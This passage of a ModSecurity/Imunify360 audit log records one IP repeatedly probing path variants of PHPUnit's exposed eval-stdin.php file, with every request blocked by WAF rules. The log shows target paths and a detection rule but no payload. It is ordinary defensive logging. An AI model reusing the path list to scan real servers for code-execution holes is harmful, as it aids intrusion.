Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKhmM7dE9KgIIOpQhtrwAAAMo"]
Action: Intercepted (phase 2)
Stopwatch: 1789282950330104 59286 (- - -)
Stopwatch2: 1789282950330104 59286; combined=56736, p1=1123, p2=54354, p3=0, p4=0, p5=1258, sr=160, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--68fc846b-Z--

--bec6ce18-A--
[13/Sep/2026:10:02:32.269580 +0300] aqZKiGM7dE9KgIIOpQhtsAAAAME 106.51.22.217 34856 127.0.0.1 7081
--bec6ce18-B--
GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--bec6ce18-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--bec6ce18-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKiGM7dE9KgIIOpQhtsAAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKiGM7dE9KgIIOpQhtsAAAAME"]
Action: Intercepted (phase 2)
Stopwatch: 1789282952212065 57593 (- - -)
Stopwatch2: 1789282952212065 57593; combined=56117, p1=278, p2=55544, p3=0, p4=0, p5=294, sr=118, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bec6ce18-Z--

--4f4be018-A--
[13/Sep/2026:10:02:34.404348 +0300] aqZKimM7dE9KgIIOpQhtsQAAAMU 106.51.22.217 34862 127.0.0.1 7081
--4f4be018-B--
GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--4f4be018-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--4f4be018-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/phpunit/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/phpunit/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKimM7dE9KgIIOpQhtsQAAAMU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKimM7dE9KgIIOpQhtsQAAAMU"]
Action: Intercepted (phase 2)
Stopwatch: 1789282954344900 59497 (- - -)
Stopwatch2: 1789282954344900 59497; combined=57349, p1=487, p2=56352, p3=0, p4=0, p5=509, sr=226, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4f4be018-Z--

--cc08b60b-A--
[13/Sep/2026:10:02:36.334480 +0300] aqZKjGM7dE9KgIIOpQhtswAAANA 106.51.22.217 37758 127.0.0.1 7081
--cc08b60b-B--
GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--cc08b60b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--cc08b60b-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKjGM7dE9KgIIOpQhtswAAANA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKjGM7dE9KgIIOpQhtswAAANA"]
Action: Intercepted (phase 2)
Stopwatch: 1789282956279194 55330 (- - -)
Stopwatch2: 1789282956279194 55330; combined=53601, p1=308, p2=52972, p3=0, p4=0, p5=321, sr=132, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--cc08b60b-Z--

--3e631779-A--
[13/Sep/2026:10:02:39.099806 +0300] aqZKj2M7dE9KgIIOpQhttAAAANQ 106.51.22.217 37772 127.0.0.1 7081
--3e631779-B--
GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--3e631779-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--3e631779-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKj2M7dE9KgIIOpQhttAAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKj2M7dE9KgIIOpQhttAAAANQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789282959044567 60178 (- - -)
Stopwatch2: 1789282959044567 60178; combined=53842, p1=349, p2=52960, p3=0, p4=0, p5=533, sr=150, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3e631779-Z--

--9c7da228-A--
[13/Sep/2026:10:02:41.470333 +0300] aqZKkTTJ6xTvcJoem7f43AAAAEw 106.51.22.217 37784 127.0.0.1 7081
--9c7da228-B--
GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--9c7da228-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--9c7da228-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKkTTJ6xTvcJoem7f43AAAAEw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKkTTJ6xTvcJoem7f43AAAAEw"]
Action: Intercepted (phase 2)
Stopwatch: 1789282961411594 58783 (- - -)
Stopwatch2: 1789282961411594 58783; combined=54587, p1=370, p2=53861, p3=0, p4=0, p5=355, sr=126, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9c7da228-Z--

--680c0029-A--
[13/Sep/2026:10:02:43.648572 +0300] aqZKk2M7dE9KgIIOpQhttgAAAMM 106.51.22.217 37810 127.0.0.1 7081
--680c0029-B--
GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--680c0029-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--680c0029-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/phpunit/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/phpunit/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKk2M7dE9KgIIOpQhttgAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKk2M7dE9KgIIOpQhttgAAAMM"]
Action: Intercepted (phase 2)
Stopwatch: 1789282963589094 59575 (- - -)
Stopwatch2: 1789282963589094 59575; combined=58246, p1=241, p2=57695, p3=0, p4=0, p5=309, sr=103, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--680c0029-Z--

--91143335-A--
[13/Sep/2026:10:02:45.639153 +0300] aqZKlWM7dE9KgIIOpQhttwAAAMw 106.51.22.217 33356 127.0.0.1 7081
--91143335-B--
GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--91143335-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--91143335-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKlWM7dE9KgIIOpQhttwAAAMw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKlWM7dE9KgIIOpQhttwAAAMw"]
Action: Intercepted (phase 2)
Stopwatch: 1789282965579852 59359 (- - -)
Stopwatch2: 1789282965579852 59359; combined=56082, p1=352, p2=55252, p3=0, p4=0, p5=478, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--91143335-Z--

--20ccd679-A--
[13/Sep/2026:10:02:47.928045 +0300] aqZKl0wu1RSkptiiNIX1KQAAAJE 106.51.22.217 33370 127.0.0.1 7081
--20ccd679-B--
GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--20ccd679-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--20ccd679-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKl0wu1RSkptiiNIX1KQAAAJE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKl0wu1RSkptiiNIX1KQAAAJE"]
Action: Intercepted (phase 2)
Stopwatch: 1789282967867776 60450 (- - -)
Stopwatch2: 1789282967867776 60450; combined=57546, p1=464, p2=56013, p3=0, p4=0, p5=1068, sr=192, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--20ccd679-Z--

--c452896d-A--
[13/Sep/2026:10:02:49.675336 +0300] aqZKmUwu1RSkptiiNIX1KgAAAIM 106.51.22.217 33378 127.0.0.1 7081
--c452896d-B--
GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain

--c452896d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--c452896d-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/lib/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKmUwu1RSkptiiNIX1KgAAAIM"]
